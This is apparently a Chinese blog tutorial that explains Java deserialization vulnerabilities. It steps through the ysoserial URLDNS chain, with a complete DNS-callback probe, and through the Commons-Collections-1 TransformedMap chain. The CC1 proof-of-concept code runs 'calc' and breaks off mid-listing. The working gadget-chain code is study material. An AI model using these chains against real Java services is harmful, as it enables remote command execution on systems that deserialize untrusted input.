淺談Java反序列化漏洞
文章首發(fā)于:
火線Zone社區(qū)(https://zone.huoxian.cn/)
本篇文章參考P神知識(shí)星球的《Java漫談》系列文章,有條件的可以為p牛充電?。ㄐ乔蛎捍a審計(jì),我已經(jīng)沖了)
然后推薦想初步理解java反序列化、并且深度了解一兩個(gè)利用鏈的萌新,一步一步跟著文中在idea里調(diào)試?yán)斫饷恳徊?,不要求很快看完,可以收藏或者點(diǎn)贊后,慢慢看 , 希望能收獲一點(diǎn)東西
然后大佬們可以退了,因?yàn)閷懙亩际莏ava反序列化很淺的東西,順便別罵QAQ
Java序列化與反序列化
Java 提供了一種對(duì)象序列化的機(jī)制,該機(jī)制中,一個(gè)對(duì)象可以被表示為一個(gè)字節(jié)序列,該字節(jié)序列包括該對(duì)象的數(shù)據(jù)、有關(guān)對(duì)象的類型的信息和存儲(chǔ)在對(duì)象中數(shù)據(jù)的類型。
整個(gè)過程都是 Java 虛擬機(jī)(JVM)獨(dú)立的,也就是說,在一個(gè)平臺(tái)上序列化的對(duì)象可以在另一個(gè)完全不同的平臺(tái)上反序列化該對(duì)象。
序列化是這個(gè)過程的第一部分,將數(shù)據(jù)分解成字節(jié)流,以便存儲(chǔ)在文件中或在網(wǎng)絡(luò)上傳輸。反序列化就是打開字節(jié)流并重構(gòu)對(duì)象。對(duì)象序列化不僅要將基本數(shù)據(jù)類型轉(zhuǎn)換成字節(jié)表示,有時(shí)還要恢復(fù)數(shù)據(jù)。
其中類 ObjectInputStream 和 ObjectOutputStream 是高層次的數(shù)據(jù)流,它們包含反序列化和序列化對(duì)象的方法。
eg.
下面是一個(gè)簡(jiǎn)單的序列化、反序列化的代碼:
package top.meta;import java.io.*;import java.util.HashMap;import java.util.Map;/** * @author taamr * @create 2022-04-29 14:35 */public class Serialize implements Serializable { ? // ? 必須實(shí)現(xiàn)Serializable接口 ? ?//serialVersionUID不寫的話,idea會(huì)自動(dòng)生成,賦予每個(gè)類不同的序列化UID ? ?private static final long serialVersionUID = -3066949856415001911L; ? ? ? ?private int id; ? ?private String name; ? ?public Serialize() { ? ?} ? ?public Serialize(int id, String name) { ? ? ? ?this.id = id; ? ? ? ?this.name = name; ? ?} ? ?private void writeObject (ObjectOutputStream s) throws IOException { ? ? ? ?s.defaultWriteObject(); ? ? ? ?s.writeObject("This is writeObject"); ? ?} ? ?private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { ? ? ? ?s.defaultReadObject(); ? ? ? ?String s1 = (String) s.readObject(); ? ? ? ?System.out.println(s1); ? ?} ? ?public static void main(String[] args) throws IOException, ClassNotFoundException { ? ? ? ?Serialize serialize = new Serialize(1,"taamr"); ? ? ? ?ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ? ? ? ?ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); ? ? ? ?objectOutputStream.writeObject(serialize); ? ? ? ?objectOutputStream.close(); ? ? ? ?System.out.println(byteArrayOutputStream); ? ? ? ?ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); ? ? ? ?Serialize o = (Serialize) objectInputStream.readObject(); ? ? ? ?System.out.println( o.id+ "\n" + o.name ); ? ?} }運(yùn)行截圖:

其中實(shí)現(xiàn)Serializable接口是表明當(dāng)前類可以被序列化。
結(jié)合代碼,先看main函數(shù)流程。
利用構(gòu)造函數(shù)實(shí)例化Serialize類并賦值了id和name屬性到serialize對(duì)象 ——>再通過ObjectOutputStream將serialize對(duì)象序列化輸出字節(jié)流到了byteArrayOutputStream ——> 并且控制臺(tái)輸出了一下byteArrayOutputStream ——> 然后通過ObjectInputStream與ByteArrayInputStream反序列化了byteArrayOutputStream字節(jié)流取到了之前序列化的對(duì)象 ——> 最后輸出了之前賦值的id與name兩個(gè)屬性
但是看控制臺(tái)他是中間有多輸出一個(gè) "This is writeObject" ,那這個(gè)是什么時(shí)候輸出的呢?
我們看這兩個(gè)方法:

這里有一個(gè)特殊點(diǎn),相比于php、python,Java提供了更靈活的方法 writeObject ,允許我們?cè)谛蛄谢瘜?duì)象的時(shí)候插入一些自定義數(shù)據(jù),并且在反序列化的時(shí)候能夠使用 readObject 進(jìn)行讀取。
明白上述之后,就可以看出在我寫的Serialize類中,我自定義了writeObject方法和readObject方法,讓Serialize對(duì)象在默認(rèn)序列化之后又增加寫入了一串字符串的序列化數(shù)據(jù),并且默認(rèn)反序列化之后會(huì)把這個(gè)字符串讀出來打印到控制臺(tái)。
借P神的話說,Java設(shè)計(jì) readObject 的思路和PHP的 _wakeup 不同點(diǎn)在于 :readObject 傾向于解決?“反序列化時(shí)如何還原一個(gè)完整對(duì)象”?這個(gè)問題,而PHP的 _wakeup 更傾向于解決“反序列化后如何初始化這個(gè)對(duì)象”的問題 。
那我要把readObject這么寫呢
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { ? ? ? ?s.defaultReadObject(); ? ? ? ?Runtime.getRuntime().exec("calc"); }運(yùn)行:

當(dāng)然,正常業(yè)務(wù)或者組件中的可序列化類是沒有這種 ” 特殊的功能 “ 的。所以我們需要用兩個(gè)或多個(gè)常用的組件構(gòu)造一個(gè)利用鏈,能從readObject(或者ObjectInputStream.readUnshared、XMLDecoder.readObject、XStream.fromXML、ObjectMapper.readValue、JSON.parseObject等等,但是本文只討論jdk只討論ObjectInputStream.readObject)開始到經(jīng)過有限步驟最后執(zhí)行我們的惡意方法或命令結(jié)束。
反序列化漏洞
反序列化漏洞就是,暴露或間接暴露反序列化 API ,導(dǎo)致用戶可以操作傳入數(shù)據(jù),攻擊者可以精心構(gòu)造反序列化對(duì)象并執(zhí)行惡意代碼。
在最早15年 Gabriel Lawrence 和 Chris Frohoff 公布了 Apache Commons Collections 反序列化遠(yuǎn)程命令執(zhí)行漏洞的同時(shí),公布了?”反序列化漏洞利用神器“ ---ysoserial ,且在漏洞被發(fā)現(xiàn)的 9 個(gè)月后依然沒有有效的 Java 庫(kù)補(bǔ)丁來針對(duì)受到影響的產(chǎn)品進(jìn)行加固 。各大網(wǎng)站爭(zhēng)相報(bào)道為 —— “有史以來最被低估的漏洞” 。
下面分析 ysoserial 中的兩個(gè)利用鏈,加深一下對(duì)Java反序列化漏洞的理解。
URLDNS鏈
簡(jiǎn)單分兩部分來說,
第一部分:
這個(gè)鏈?zhǔn)荋ashMap反序列化時(shí)(執(zhí)行readObject方法時(shí))會(huì)從序列化流中讀取它在序列化時(shí)寫入的Node數(shù)組(實(shí)現(xiàn)Map.Entry接口的Map的內(nèi)部類,Entry是描述一組鍵值對(duì)),再循環(huán)賦值給HashMap,來還原序列化之前的數(shù)據(jù)。賦值的時(shí)候調(diào)用的putVal方法,其中第一個(gè)參數(shù)是原HashMap對(duì)象中key(鍵)的hash值,計(jì)算這個(gè)hash值調(diào)用到key自己的hashCode方法。
第二部分:
URL對(duì)象的hashCode函數(shù)會(huì)在其hash值為 -1 時(shí)調(diào)用默認(rèn)URLStreamHandler的hashCode方法重新計(jì)算hash值,這個(gè)方法計(jì)算hash值時(shí)會(huì)調(diào)用getHostAddress,getHostAddress里調(diào)用InetAddress類的getByName(下文忽略這步,雖然最后是在這步觸發(fā)的,但是getByName本來功能就是解析域名,其實(shí)是懶得寫了),觸發(fā)DNS解析。
結(jié)合這兩個(gè)部分就是URLDNS利用鏈。雖然整體看下來有點(diǎn)繞,但是下面會(huì)逐步分析。那在簡(jiǎn)單了解的情況下,說幾點(diǎn)URLDNS鏈的特點(diǎn)和條件:
原生JDK中就有此鏈,并且不限版本,不限組件。簡(jiǎn)單理解,是因?yàn)镠ashMap從功能原理上來說,就是按key的hash值存儲(chǔ)數(shù)據(jù)的散列表,且計(jì)算URL的hash值時(shí)就是需要其主機(jī)地址的(非必須,但是最好是有,減少哈希碰撞)。
此鏈比較適用于驗(yàn)證目標(biāo)應(yīng)用是否有反序列化漏洞或者是否出網(wǎng)。
惡意序列化數(shù)據(jù)需要一個(gè)HashMap,并且key值是url對(duì)象,其hashcode是 -1
下面開始一步一步構(gòu)造我們的惡意序列化數(shù)據(jù),并且逐步調(diào)試或進(jìn)入U(xiǎn)RLDNS鏈中的每個(gè)關(guān)鍵方法
首先創(chuàng)建URL對(duì)象并且放入HashMap中

順便我們進(jìn)去看一下,url對(duì)象默認(rèn)的hash值,和HashMap對(duì)象的put方法。

URL對(duì)象的默認(rèn)Hash值就是 -1

HashMap中的put方法就已經(jīng)調(diào)用了putVal方法,并且已經(jīng)計(jì)算了Hash值。那我們先運(yùn)行一下我們這三行其實(shí)就能發(fā)現(xiàn),URLhash為 -1,也調(diào)用putVal了,也計(jì)算hash了,也已經(jīng)觸發(fā)DNS解析了,并且DNSLOG也有記錄。(因?yàn)槭沁厡戇呥\(yùn)行,每次運(yùn)行的DNSLog的url可能都不一樣,所以URL中的地址大家對(duì)照著實(shí)際的我畫的框看就行)

從實(shí)際利用來看這樣是不太行的,因?yàn)椴荒苣銟?gòu)造時(shí)候就已經(jīng)觸發(fā)DNS解析了,發(fā)送到目標(biāo)業(yè)務(wù)反序列化時(shí)候再解析一次,DNSLog里會(huì)有垃圾數(shù)據(jù)的。
那我們看看這一步y(tǒng)soserial中的URLDNS鏈?zhǔn)窃趺醋龅摹?/p>

還記得上面分兩部分說的第二部分不,里面說了“URL對(duì)象的hashCode函數(shù)會(huì)在其hash值為-1時(shí)調(diào)用默認(rèn)URLStreamHandler的hashCode方法重新計(jì)算hash值”,這里面的URLStreamHandler就是ysoserial解決這個(gè)問題的重點(diǎn)。URL類在實(shí)例化對(duì)象的構(gòu)造函數(shù)中有一個(gè)構(gòu)造函數(shù)可以指定其URLStreamHandler。

ysoserial就是利用這個(gè),在構(gòu)造URL對(duì)象時(shí),把默認(rèn)的URLStreamHandler替換成了自己改寫的子類SilentURLStreamHandler類。而這個(gè)類也很簡(jiǎn)單粗暴,直接把URLStreamHandler里有關(guān)解析連接的方法重寫成了return null。

這樣在我們把自己的url用put放入HashMap時(shí),就不會(huì)有DNS解析了。(因?yàn)榘延|發(fā)點(diǎn)所在的getHostAddress直接寫沒用了,而且目標(biāo)反序列化時(shí)還是會(huì)用默認(rèn)的URLStreamHandler)
那我們把ysoserial中的這個(gè)子類復(fù)制過來 (站在巨人的肩膀上)再調(diào)試一下

可以看到,雖然不會(huì)有DNS解析了, 但是hash值還是會(huì)被改變的。那在ysoserial的URLDNS(翻到上面的圖)畫紅框的最后一句,能看出來它是用自己包裝的方法把u(也就是我們的url)的hashCode屬性值給重新賦值成 -1 了 , 那我們自己動(dòng)手豐衣足食利用反射也改一下url的hashCode(主要是把人家包裝的全弄過來有點(diǎn)多余)

最后,我們就得到了我們需要序列化的hashMap。它滿足了我們的幾個(gè)必要條件,也就是一個(gè)HashMap,并且key值是url對(duì)象,其url是我們DNSLog的地址,并且我們還解決了一個(gè)問題(hashMap中put放入url對(duì)象是會(huì)觸發(fā)DNS解析)
到現(xiàn)在為止我們的代碼

然后先把hashmap序列化,運(yùn)行一下,順便看看之前對(duì)于hashMap.put放入數(shù)據(jù)就會(huì)解析DNS的問題有沒有解決

看來問題已經(jīng)解決,在我們構(gòu)造惡意序列化數(shù)據(jù)時(shí)不會(huì)解析了
那我們?cè)囍葱蛄谢幌?(上面其實(shí)反序列化的代碼已經(jīng)寫好了,只是我注釋掉了)

利用完成。利用鏈相關(guān)方法如下
首先第一步 :HashMap的readObject里調(diào)用了自身的hash方法 , 參數(shù)是key值(URL對(duì)象)

第二步:HashMap的hash方法 , 可以看出是key非空的情況下調(diào)用了key值自身的hashCode方法

第三步:URL對(duì)象的hashCode方法,在hashCode為 -1 的情況下調(diào)用了自身handler(默認(rèn)是URLStreamHandler)的hashCode方法,參數(shù)是自身

第四步:URLStreamHandler類的hashCode方法中調(diào)用了自身的getHostAddress方法 ,參數(shù)是剛剛傳進(jìn)來的URL對(duì)象 , 然后在里面觸發(fā)DNS解析

最后總結(jié)一下URLDNS鏈,精簡(jiǎn)一下是下面這樣
HashMap.readObject -> HashMap.hash
HashMap.hash -> URL.hashCode
URL.hashCode -> URLStreamHandler.hashCode
URLStreamHandler.hashCode -> URLStreamHandler.getHostAddress
雖然看起來經(jīng)過了5個(gè)函數(shù)調(diào)?,特別多的樣子,但是在 Java反序列化利用鏈中已經(jīng)算很少了。這還是我忽略掉了getHostAddress里用的InetAddress類的getByName方法。
PS:對(duì)于URLDNS鏈的小思考
HashMap反序列化時(shí)(readObject時(shí))會(huì)將序列化時(shí)(writeObject時(shí))寫入的數(shù)據(jù)讀出來,放入新構(gòu)造的HashMap中以實(shí)現(xiàn)還原序列化之前的數(shù)據(jù),下圖可以看出調(diào)用了internalWriteEntries方法

然后建立Node數(shù)組(鍵值對(duì)數(shù)組)放入原數(shù)據(jù)

然后在readObject時(shí)讀取并放入新的HashMap

這條鏈嚴(yán)格意義上不算漏洞,因?yàn)閺墓δ苄枨笊蟻碇v,HashMap存儲(chǔ)數(shù)據(jù)時(shí)(就像上面講的),就是按Hash值存儲(chǔ)的散列表,而且就因?yàn)槭前碒ash值來存儲(chǔ)的,所以避免不了哈希碰撞,要盡可能的減少哈希碰撞的次數(shù)。而Java就是使?final對(duì)象,并采?各對(duì)象合適的equals?法和hashCode?法來減少Hash碰撞。而URL對(duì)象調(diào)用的URLStreamHandler類的hashCode方法就是一步一步分別計(jì)算URL的協(xié)議、Host、Port、路徑、資源類型的Hash值,再累加計(jì)算出整個(gè)URL的Hash值的。
通俗理解一下,就是下面兩個(gè)方法哪個(gè)更能減少哈希碰撞
你把url整個(gè)當(dāng)成字符串來計(jì)算哈希值
各自分別計(jì)算哈希,最后算出哈希值
所以原生JDK中就有此鏈,并且不限版本,不限組件,而且也不會(huì)“修復(fù)”,因?yàn)檫@就是正常功能。
所以此鏈非常適用于驗(yàn)證目標(biāo)應(yīng)用是否有反序列化漏洞或者是否出網(wǎng)
附上本章節(jié)完整代碼:
package top.meta;import java.io.*;import java.lang.reflect.Field;import java.net.InetAddress;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;/*** @author taamr* @create 2022-04-2911:17*/public class URLDNS {? ?public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {? ? ? ?URLStreamHandler urlStreamHandler = new SilentURLStreamHandler();? ? ? ?URL url = new URL(null, "https://4aqxl5.dnslog.cn",urlStreamHandler);? ? ? ?HashMap hashMap = new HashMap();? ? ? ?hashMap.put(url,"url");? ? ? ?Field field = url.getClass().getDeclaredField("hashCode");? ? ? ?field.setAccessible(true);? ? ? ?field.set(url,-1);? ? ? ?ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();? ? ? ?ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);? ? ? ?objectOutputStream.writeObject(hashMap);? ? ? ?objectOutputStream.close();? ? ? ?ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));? ? ? ?Object o = ?objectInputStream.readObject();? ?}? ?static class SilentURLStreamHandler extends URLStreamHandler {? ? ? ?protected URLConnection openConnection(URL u) throws IOException {? ? ? ? ? ?return null;? ? ? ?}? ? ? ?protected synchronized InetAddress getHostAddress(URL u) {? ? ? ? ? ?return null;? ? ? ?}? ?}}
到這兒,如果一步一步都深入了解下來,自己也寫代碼調(diào)試運(yùn)行了,那就算是入門Java反序列化漏洞啦,然后讓我繼續(xù)說下最經(jīng)典的CC1鏈吧。
Common-Collections-1鏈
Apache Commons Collections是一個(gè)用來處理集合Collection的開源工具包。
CC1鏈需求的版本如下:
commons-collections3.1-3.2.1jdk8u71以下commons-collections3.1-3.2.1的組建依賴,創(chuàng)建maven項(xiàng)目,導(dǎo)入一下依賴就行,我這里用的是3.2.1
? ? ? ? ? ?commons-collections ? ? ? ? ? ?commons-collections ? ? ? ? ? ?3.2.1
jdk8u71以下去官網(wǎng)直接下載就行,我這里用的是jdk8u66,下載windows exe安裝包安裝就行,舊版本java不會(huì)默認(rèn)添加環(huán)境變量,安裝完把這個(gè)jdk添加到idea里就行,然后運(yùn)行的配置里用上這個(gè)jdk
這是官網(wǎng)鏈接,ctrl+f 查找8u66就行 , 大家也可以多逛逛 ,其實(shí)能發(fā)現(xiàn)jdk的任意版本都能在相關(guān)分類里下載
Java Archive Downloads - Java SE 8 (oracle.com)

然后進(jìn)入正題,先講一下CC1鏈相關(guān)聯(lián)的幾個(gè)接口、類、方法
Transformer 接口 (Common Collection 包)
public interface Transformer { ? ?public Object transform(Object input); }官方注釋:
定義由將一個(gè)對(duì)象轉(zhuǎn)換為另一個(gè)對(duì)象的類實(shí)現(xiàn)的函子接口。
轉(zhuǎn)換器將輸入對(duì)象轉(zhuǎn)換為輸出對(duì)象。輸入對(duì)象應(yīng)該保持不變。轉(zhuǎn)換器通常用于類型轉(zhuǎn)換,或從對(duì)象中提取數(shù)據(jù)。
有transform方法,這個(gè)方法就是上面提的 “輸入對(duì)象轉(zhuǎn)換為輸出對(duì)象,轉(zhuǎn)換器通常用于類型轉(zhuǎn)換,或從對(duì)象中提取數(shù)據(jù)” 的需要具體實(shí)現(xiàn)的方法。
InvokerTransformer 類 (Common Collection 包)
官方注釋:通過反射創(chuàng)建新對(duì)象實(shí)例的Transformer接口的實(shí)現(xiàn)類。
構(gòu)造方法:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { ? ? ? ?super(); ? ? ? ?iMethodName = methodName; ? ? ? ?iParamTypes = paramTypes; ? ? ? ?iArgs = args; }可以看出InvokerTransformer 類有三個(gè)成員變量,iMethodName,iParamTypes,iArgs 、分別對(duì)應(yīng)需要反射創(chuàng)建實(shí)例的方法名,參數(shù)類型,參數(shù)
然后實(shí)現(xiàn)的transform方法如下:
public Object transform(Object input) { ? ? ? ?if (input == null) { ? ? ? ? ? ?return null; ? ? ? ?} ? ? ? ?try { ? ? ? ? ? ?Class cls = input.getClass(); ? ? ? ? ? ?Method method = cls.getMethod(iMethodName, iParamTypes); ? ? ? ? ? ?return method.invoke(input, iArgs); ? ? ? ? ? ? ? ? ? ? ? ?} catch (NoSuchMethodException ex) { ? ? ? ? ? ?throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); ? ? ? ?} catch (IllegalAccessException ex) { ? ? ? ? ? ?throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); ? ? ? ?} catch (InvocationTargetException ex) { ? ? ? ? ? ?throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); ? ? ? ?} }就是將輸入對(duì)象的方法(三個(gè)成員變量對(duì)應(yīng)的)利用反射調(diào)用并執(zhí)行。
簡(jiǎn)單實(shí)例化調(diào)用理解一下:
public class CC1 { ? ?public static void main(String[] args){ ? ? ? ?InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}); ? ? ? ?invokerTransformer.transform(Runtime.getRuntime()); ? ?} }
能看到InvokerTransformer的transform方法是需要傳遞實(shí)例化對(duì)象的,繼續(xù)看下一個(gè)類
ConstantTransformer 類 (Common Collection 包)
官方注釋: 每次返回相同常量(對(duì)象)的Transformer接口的實(shí)現(xiàn)類。
構(gòu)造方法:
public ConstantTransformer(Object constantToReturn) { ? ? ? ?super(); ? ? ? ?iConstant = constantToReturn; }傳進(jìn)去一個(gè)類,然后transform方法實(shí)現(xiàn)如下
public Object transform(Object input) { ? ?return iConstant; }相當(dāng)于無論接受什么參數(shù),都返回新建對(duì)象時(shí)指定的iConstant成員變量對(duì)應(yīng)的類。
ChainedTransformer 類 (Common Collection 包)
官方注釋:將指定的Transformer實(shí)現(xiàn)類鏈接在一起的Transformer接口實(shí)現(xiàn)。輸入對(duì)象被傳遞到第一個(gè)Transformer實(shí)現(xiàn)類的transform方法。transform后的結(jié)果被傳遞給第二個(gè)Transformer實(shí)現(xiàn)類的transform方法,以此類推
構(gòu)造方法:
public ChainedTransformer(Transformer[] transformers) { ? ?super(); ? ?iTransformers = transformers; }需要傳入Transformer類的數(shù)組,再看一下它的transform方法:
public Object transform(Object object) { ? ?for (int i = 0; i < iTransformers.length; i++) { ? ? ? ?object = iTransformers[i].transform(object); ? ?} ? ?return object; }確實(shí)是如官方注釋里說的一樣,就是將輸入傳到第一個(gè)Transformer實(shí)現(xiàn)類的transform方法,然后結(jié)果傳給下一個(gè)的transform方法,最后執(zhí)行完返回結(jié)果。
構(gòu)造命令執(zhí)行
那我們先暫停一下,先將上面有關(guān)CC1鏈的幾個(gè)類和方法用起來,先寫個(gè)模擬的命令執(zhí)行
首先創(chuàng)造Transformer數(shù)組,將命令執(zhí)行所需要的方法和類傳進(jìn)去。

然后一步一步解析一下,這個(gè)Transformer數(shù)組,
首先是ConstantTransformer(Runtime.getRuntime()),第一個(gè)數(shù)據(jù)使用這個(gè)類,意圖也很明顯,就是把調(diào)用ChainedTransformer的transform時(shí)的參數(shù)給覆蓋掉,怎么覆蓋,就是利用ConstantTransformer的transform無論添加什么參數(shù)都返回實(shí)例化對(duì)象時(shí)指定的類。在上面圖片里很明顯就是Runtime.getRuntime()返回的Runtime這個(gè)類.
再創(chuàng)建一個(gè)InvokerTransformer用來調(diào)用Runtime的exec方法
然后將這個(gè)數(shù)組放入ChainedTransformer,最后調(diào)用其transform方法

成功執(zhí)行命令。
那哪些類或者方法會(huì)調(diào)用到transform方法呢。目前看來是只要有東西能調(diào)用到我們構(gòu)造的transformerChain的transform方法就可以利用,然后CC1鏈主要用到的是下面兩個(gè)方法
1.LazyMap 類中的 get方法 , 這也是ysoserial中使用的

2.TransformedMap類中的 checkSetValue 方法 以及 put方法

TransformedMap 類(Common Collection 包)
那我們先從TransformedMap類開始分析一下
首先看一下TransformedMap的構(gòu)造方法,是protected權(quán)限的,只能在當(dāng)前Common Collection包里調(diào)用
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { ? ? ? ?super(map); ? ? ? ?this.keyTransformer = keyTransformer; ? ? ? ?this.valueTransformer = valueTransformer; }但是提供了靜態(tài)方法返回一個(gè)TransformedMap對(duì)象
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { ? ? ? ?return new TransformedMap(map, keyTransformer, valueTransformer); }那我們先用put方法試一試,能看到他是對(duì)key和value都調(diào)用了各自的transform(),所以我們調(diào)用靜態(tài)方法創(chuàng)建時(shí)把構(gòu)造的transformerChain放入valueTransformer或者keyTransformer即可,并且需要一個(gè)map對(duì)象,因?yàn)門ransformedMap主要是修飾Map的。
(下圖是TransformedMap.put()方法中調(diào)用的transformKey()和transformValue(),就是不為空的情況下調(diào)用各自transform()方法)

拿到對(duì)象后put一下,無論填什么樣的key,value,都能執(zhí)行,因?yàn)樵谖覀兊膖ransformerChain里第一個(gè)已經(jīng)寫死是常量(對(duì)象)getRuntime了

但是這個(gè)需要目標(biāo)應(yīng)用對(duì)反序列化后的數(shù)據(jù)還要put一下才能觸發(fā),所以還是得找readObject里頭就開始的鏈,再試一下checkSetValue()方法,checkSetValue()也是protected權(quán)限的 , 所以我們得找一下那兒調(diào)用了這個(gè)方法 , 很快啊 , 就一個(gè)用法

點(diǎn)進(jìn)去看就能發(fā)現(xiàn)是TransformedMap的父類AbstractInputCheckedMapDecorator中的內(nèi)部類MapEntry的方法setValue

那我們就可以調(diào)用這個(gè)方法,執(zhí)行transformerChain的transform()了 ,

這里有幾個(gè)注意的點(diǎn),要拿到AbstractInputCheckedMapDecorator中的內(nèi)部類MapEntry,需要利用到AbstractInputCheckedMapDecorator類的其他內(nèi)部類,一步一步調(diào)用,才能拿到MapEntry。
然后根據(jù)我英語(yǔ)四級(jí)300分的實(shí)力(菜的一批),我也能大概知道第一步transformedMap.entrySet()拿到的是entry的Set集合,第二步拿到Set集合的迭代器,第三步就是讀集合,因?yàn)橐胣ext()讀集合,所以這個(gè)transformedMap不能為空,不然讀不到就報(bào)異常了,也沒有可用的entry,也就不能調(diào)用setValue了。(寫了很久忘了有沒有說entry就是一個(gè)鍵值對(duì),map就是大體意義上的鍵值對(duì)的數(shù)組)
所以中間在用TransformedMap修飾之前,我put了一個(gè)無關(guān)緊要的元素,因?yàn)樾揎椫笤賞ut就會(huì)觸發(fā)transformerChain的transform(在上面已經(jīng)試過了)
那有沒有別的類或者方法調(diào)用了 Map.Entry.setValue 呢 這就要引出我們cc1鏈的入口AnnotationInvocationHandler類了。他是一個(gè)jdk中自帶的類,且jdk8u71以下才能利用, 顧名思義就是注解調(diào)用時(shí)的處理類 , 并且實(shí)現(xiàn)了InvocationHandler接口的代理類(LazyMap那條gadget會(huì)利用到這個(gè)特性)
AnnotationInvocationHandler 類 (JDK API)
先看AnnotationInvocationHandler的構(gòu)造函數(shù),是默認(rèn)權(quán)限,如果要?jiǎng)?chuàng)建實(shí)例對(duì)象,需要用到反射:
AnnotationInvocationHandler(Classextends Annotation> var1, Mapvar2) { ? ?Class[] var3 = var1.getInterfaces(); ? ?if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { ? ? ? ?this.type = var1; ? ? ? ?this.memberValues = var2; ? ?} else { ? ? ? ?throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); ? ?} }需要的兩個(gè)參數(shù),第一個(gè)必須是實(shí)現(xiàn)Annotation接口(java.lang.annotation)的注解類,賦值給type,第二個(gè)就是Map,傳入我們的TransformedMap,賦值給membervalues,繼續(xù)看readObject()方法
在AnnotationInvocationHandler類的readObject中,做了如下處理

特別注意的是雖然在最后有var5.setValue的調(diào)用(能夠?qū)⑽覀兊腡ransformedMap.checkSetValue()調(diào)用,觸發(fā)),但是需要滿足2個(gè)條件
Map不等于空,能看到while循環(huán)的var4.hasNext()就是用的我們的membervalues(我們的TransformedMap)的EntrySet的迭代器iterator
并且Map的key里必須要有我們傳入的type(實(shí)現(xiàn)Annotation接口的注解類)類的成員方法的名字。這個(gè)在var2.memberTypes()里跟進(jìn)去能看到,會(huì)返回memberTypes,memberTypes就是調(diào)用方法getInstance(this.type)獲取var2時(shí)調(diào)用私有構(gòu)造方法賦予的關(guān)于相關(guān)Annotation注解類信息的Map,key值是相關(guān)Annotation類的所有方法名,所以var7不等于null只能是,var3.get(var6) ,也就是var2的方法名作為key的Map里查找我們TransformedMap的key的值, 最后兩個(gè)相對(duì)應(yīng)才能進(jìn)入var5.setValue)
第二點(diǎn)說難也難,說不難也有點(diǎn)理解不了,但是大家只要手動(dòng)調(diào)試跟進(jìn)去看一看就知道咋樣才能讓var7非空了
實(shí)現(xiàn)Annotation接口的注解類有下列這些,然后中有實(shí)際方法的只有圖中標(biāo)出的Repeatable、Retention、Target,并且方法名都是value():

我們想讓var7非空,只要滿足下面兩個(gè)就行啦
TransformedMap修飾map前put一個(gè)key值為value。
實(shí)例化AnnotationInvocationHandler時(shí)第一個(gè)參數(shù),填Repeatable、Retention、Target三個(gè)中的任意一個(gè)。
最后到目前關(guān)于cc1鏈呢 是知道TransformedMap + AnnotationInvocationHandler的利用構(gòu)造了,可以著手構(gòu)造一個(gè)poc了
構(gòu)造TransformedMap + AnnotationInvocationHandler 的 CC1鏈POC
因?yàn)樵砩厦嬉呀?jīng)一步一步運(yùn)行過了,所以直接貼用到的相關(guān)方法,精簡(jiǎn)的鏈如下:
AnnotationInvocationHandler.readObject() -> AbstractInputCheckedMapDecorator.EntrySet.EntrySetIterator.MapEntry.setValue()
AbstractInputCheckedMapDecorator.EntrySet.EntrySetIterator.MapEntry.setValue() ——> TransformedMap.checkSetValue()
TransformedMap.checkSetValue() ——> ChainedTransformer.transform()
ChainedTransformer.transform() ——> ConstantTransformer 和 InvokerTransformer 的 transform()
POC代碼也直接貼下面,大家看注解了解就行了 , 感覺已經(jīng)很臭很長(zhǎng)了
package top.meta;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;/** * @author taamr * @create 2022-04-2814:21 */public class CC1 { ? ?public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { ? ? ? ?Transformer[] transformers = new Transformer[]{ ? ? ? ? ? ? ? ?new ConstantTransformer(Runtime.class), ? ? ? ? ? ? ? ?new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), ? ? ? ? ? ? ? ?new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), ? ? ? ? ? ? ? ?new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}), ? ? ? ?}; ? ? ? ?// Runtime是不可序列化的類,我們需要利用他的class來反射利用,因?yàn)镽untime.class實(shí)際使Class類,支持序列化 ? ? ? ?// 上面的Transformer數(shù)組相當(dāng)于 Runtime.class.getMethod("getRuntime").invoke().exec("calc"); ? ? ? ?Transformer transformerChain = new ChainedTransformer(transformers); ? ? ? ?// 構(gòu)造transformerChain完成 ? ? ? ?Map x = new HashMap<>(); ? ? ? ?x.put("value","1"); ? ? ? ?// put中的key值 value 是 對(duì)應(yīng)的下面的Target類的value方法 ?(為了讓var7非空) ? ? ? ?// 修飾為TransformedMap之前put減少誤差 ? ? ? ?Map map = TransformedMap.decorate(x,null,transformerChain); ? ? ? ?Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); ? ? ? ?Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); ? ? 